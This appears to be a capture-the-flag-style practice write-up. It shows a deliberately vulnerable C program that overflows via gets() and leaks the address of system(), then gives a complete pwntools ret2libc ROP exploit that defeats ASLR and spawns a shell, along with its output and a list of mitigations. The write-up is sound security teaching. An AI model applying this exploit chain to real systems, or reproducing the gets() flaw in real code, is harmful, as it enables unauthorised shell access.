ASLR Bypass with Libc given leak: Breaking Address Randomization

September 13, 2025

ASLR Bypass with Libc Leak: Breaking Address Randomization

Challenge 8: ret2libc ROP Attack (with ASLR) w/ info leak (8_simple.c)

Source Code:

#include <stdio.h>
#include <stdlib.h>

void vuln() {
    char buffer[20];
    printf("System is at: %p\n", system); // <- Information leak!
    gets(buffer);                         // <- Buffer overflow vulnerability
}

int main() {
    vuln();
    return 0;
}

void pop_rdi_ret() {
    asm("pop %rdi; ret");  // <- ROP gadget for setting function arguments
}

// Compiled: gcc -Wall -Wextra -Iinclude -g -fno-stack-protector -no-pie -Wl,-z,norelro -o bin/8_simple src/8_simple.c

This demonstrates how to bypass ASLR (Address Space Layout Randomization) using a leaked libc function address to calculate the library base and build a ret2libc attack.

Binary Setup

gcc -Wall -Wextra -Iinclude -g -fno-stack-protector -no-pie -Wl,-z,norelro -o bin/8_simple src/8_simple.c

Security Mitigations:

    Arch:       amd64-64-little
    RELRO:      No RELRO
    Stack:      No canary found
    NX:         NX enabled    <- Prevents shellcode execution
    PIE:        No PIE (0x400000)
    SHSTK:      Enabled
    IBT:        Enabled
    Stripped:   No
    Debuginfo:  Yes

ASLR Status: Enabled (system default)

Key Vulnerabilities:

  1. Information Leak: printf("System is at: %p\n", system) leaks system function address
  2. Buffer Overflow: gets(buffer) reads unlimited input into 20-byte buffer
  3. No Stack Canaries: -fno-stack-protector allows return address overwrite

The ASLR Problem

What is ASLR?

ASLR (Address Space Layout Randomization) randomizes the base addresses of libraries and stack/heap regions to prevent attackers from knowing where code/data is located in memory.

# With ASLR enabled, libc addresses change every execution:
./bin/8_simple  # System is at: 0x7f8a2c458750
./bin/8_simple  # System is at: 0x7f3d1e258750  <- Different base!
./bin/8_simple  # System is at: 0x7f9b4f858750  <- Different base!

Problem for Attackers: Without knowing exact addresses, we can't build ret2libc attacks.

ASLR Bypass Technique

Key Insight: While ASLR randomizes base addresses, the internal structure of libraries remains constant. Function offsets within libc are always the same.

Method:

  1. Leak a known function address (system in this case)
  2. Calculate libc base by subtracting the known offset
  3. Find any other libc function/string using base + offset

Address Discovery Process

Step 1: Analyze the Leak

ian@vps:~/pwn/pwnpractice$ ./bin/8_simple
System is at: 0x7ffff7c58750

Leaked system address: 0x7ffff7c58750

Step 2: Find system() Offset in libc

ian@vps:~/pwn/pwnpractice$ readelf -s /lib/x86_64-linux-gnu/libc.so.6 | grep system
  1050: 0000000000058750    45 FUNC    WEAK   DEFAULT   17 system@@GLIBC_2.2.5

system offset from libc base: 0x58750

Step 3: Calculate libc Base Address

system_leak = 0x7ffff7c58750    # Address leaked by program
system_offset = 0x58750         # Offset of system in libc
libc_base = system_leak - system_offset
libc_base = 0x7ffff7c58750 - 0x58750 = 0x7ffff7c00000

Step 4: Calculate Target Addresses

# Now we can find any libc function/string:
libc_base = 0x7ffff7c00000

# Find "/bin/sh" string
binsh_offset = 0x1cb42f  # From: strings -a -t x /lib/x86_64-linux-gnu/libc.so.6 | grep /bin/sh
binsh_addr = libc_base + binsh_offset  # = 0x7ffff7dcb42f

# system() address (we already know this)
system_addr = libc_base + 0x58750      # = 0x7ffff7c58750

Buffer Overflow Analysis

Finding the Offset

# Using pwntools cyclic pattern
python3 -c "from pwn import *; print(cyclic(100))" | ./bin/8_simple
# Check crash with gdb to find offset: 40 bytes

Buffer Layout:

[buffer: 20 bytes][padding: 20 bytes][saved RBP: 8 bytes][return addr: 8 bytes]

Total offset to return address: 40 bytes

Python Exploit Breakdown

#!/usr/bin/env python3
from pwn import *

exe = context.binary = ELF('/home/ian/pwn/pwnpractice/bin/8_simple')
libc = exe.libc

io = start()

# Step 1: Receive the leaked system address
io.recvuntil('at: ')
system_leak = int(io.recvline().strip(), 16)
log.info(f'Leaked system: {hex(system_leak)}')

# Step 2: Calculate libc base address
libc.address = system_leak - libc.sym['system']
log.success(f'LIBC base: {hex(libc.address)}')

# Step 3: Find ROP gadgets and addresses
pop_rdi = p64(0x4011b5)              # pop rdi; ret (from binary)
ret = p64(0x40101a)                  # ret (for stack alignment)
binsh_addr = next(libc.search(b'/bin/sh'))  # "/bin/sh" string in libc
system_addr = libc.sym['system']     # system() function in libc

# Step 4: Build ROP chain
payload = flat(
    'A' * 40,           # Padding to reach return address
    pop_rdi,            # ROP gadget: pop rdi; ret
    binsh_addr,         # Argument: address of "/bin/sh"
    ret,                # Stack alignment for system()
    system_addr,        # Call system()
    0x0                 # Return address for system()
)

io.sendline(payload)
io.interactive()

ROP Chain Execution Flow

Stack Layout After Overflow:

[Buffer: AAAA...AAAA] (40 bytes padding)
[pop_rdi gadget     ] <- Return address
[/bin/sh address    ] <- Will be popped into RDI
[ret gadget         ] <- Stack alignment
[system() address   ] <- Final call target
[0x0000000000000000 ] <- Return address for system

Execution Steps:

  1. Buffer overflow overwrites return address with pop_rdi gadget address
  2. pop rdi; ret pops /bin/sh address into RDI register and returns
  3. ret gadget provides stack alignment (required by modern libc)
  4. system() executes with RDI pointing to "/bin/sh" string
  5. Shell spawned!

Successful Exploitation

ian@vps:~/pwn/pwnpractice$ python3 solves/8_simple.py
[*] '/home/ian/pwn/pwnpractice/bin/8_simple'
    Arch:       amd64-64-little
    RELRO:      No RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)

[DEBUG] Received 0x13 bytes:
    'System is at: 0x7ffff7c58750\n'
[*] Leaked system: 0x7ffff7c58750
[+] LIBC base: 0x7ffff7c00000

$ whoami
ian
$ id
uid=1000(ian) gid=1000(ian) groups=1000(ian)

Why This Attack Works

ASLR Bypass Components

  1. Information Leak: Program leaks system() address defeating randomization
  2. Offset Calculation: Fixed offsets within libc allow base calculation
  3. Address Resolution: Can now find any libc function/string reliably

Attack Chain Requirements

  1. Buffer Overflow: Control over return address via gets() vulnerability
  2. ROP Gadgets: pop rdi; ret to set up function call arguments
  3. libc Functions: system() function and "/bin/sh" string from calculated addresses
  4. Stack Alignment: Extra ret gadget for x64 calling convention

Real-World ASLR Bypass Techniques

Common Information Leaks:

  • printf/puts: Format string vulnerabilities or legitimate output
  • Stack/heap pointers: Leaked through buffer over-reads
  • GOT entries: Global Offset Table contains function addresses
  • PLT stubs: Procedure Linkage Table addresses

Alternative Bypass Methods:

  • Partial overwrites: Overwrite only low bytes when entropy is limited
  • Brute force: Feasible when ASLR entropy is low (32-bit systems)
  • Memory disclosure: Read arbitrary memory to leak addresses
  • Side-channel attacks: Timing attacks, cache attacks

Why This Exploit Works Remotely (Unlike Challenge 7)

The Critical Difference: Dynamic vs Static Addresses

Challenge 7 Problem (Hardcoded Addresses):

# Challenge 7 exploit - FAILS remotely
libc_base = 0x00007ffff7c00000    # Your local system's base
system = libc_base + 0x58750      # Your local system's offset
binsh = libc_base + 0x1cb42f      # Your local system's offset
# Result: Segfault on different systems

Challenge 8 Solution (Dynamic Discovery):

# Challenge 8 exploit - WORKS remotely
io.recvuntil('at: ')
system_leak = int(io.recvline().strip(), 16)    # Get REMOTE address
libc.address = system_leak - libc.sym['system'] # Calculate REMOTE base
# Result: Adapts to any system automatically

Demonstration: Remote vs Local Testing

Local System (Your Development Machine):

ian@local:~/pwn/pwnpractice$ ./bin/8_simple
System is at: 0x7ffff7c58750

# Challenge 8 exploit calculation:
system_leak = 0x7ffff7c58750
system_offset = 0x58750  # From your local libc
libc_base = 0x7ffff7c58750 - 0x58750 = 0x7ffff7c00000

Remote System (Different Machine/Docker/CTF Server):

victim@remote:~/pwn$ ./bin/8_simple
System is at: 0x7f8a2c455410      # Different address!

# Challenge 8 exploit adapts automatically:
system_leak = 0x7f8a2c455410      # Leaked from remote system
system_offset = 0x55410           # Different offset (different libc version)
libc_base = 0x7f8a2c455410 - 0x55410 = 0x7f8a2c400000

Security Implications

This vulnerability demonstrates:

  • Information leaks are critical: Even a single leaked address can defeat ASLR
  • Defense in depth: ASLR alone is insufficient - need multiple mitigations
  • Consistent addressing: Predictable offsets within libraries aid exploitation

Why Challenge 8 is more realistic:

  • Adapts to remote systems: Works regardless of ASLR randomization
  • Demonstrates real technique: Information leaks are common attack vectors
  • Version dependency: Still requires matching libc versions for offsets

Real-world mitigations:

  • Remove information leaks: Never print raw pointer addresses
  • Enable all mitigations: Stack canaries, PIE, FULL RELRO together
  • Use modern compilers: Recent GCC/Clang have better defaults
  • Provide libc files: In CTFs, include exact libc version to avoid version mismatches

Try it yourself with my Github Repo - Exploit Development Step-by-Step There you are able to check the whole code and also the full exploit script.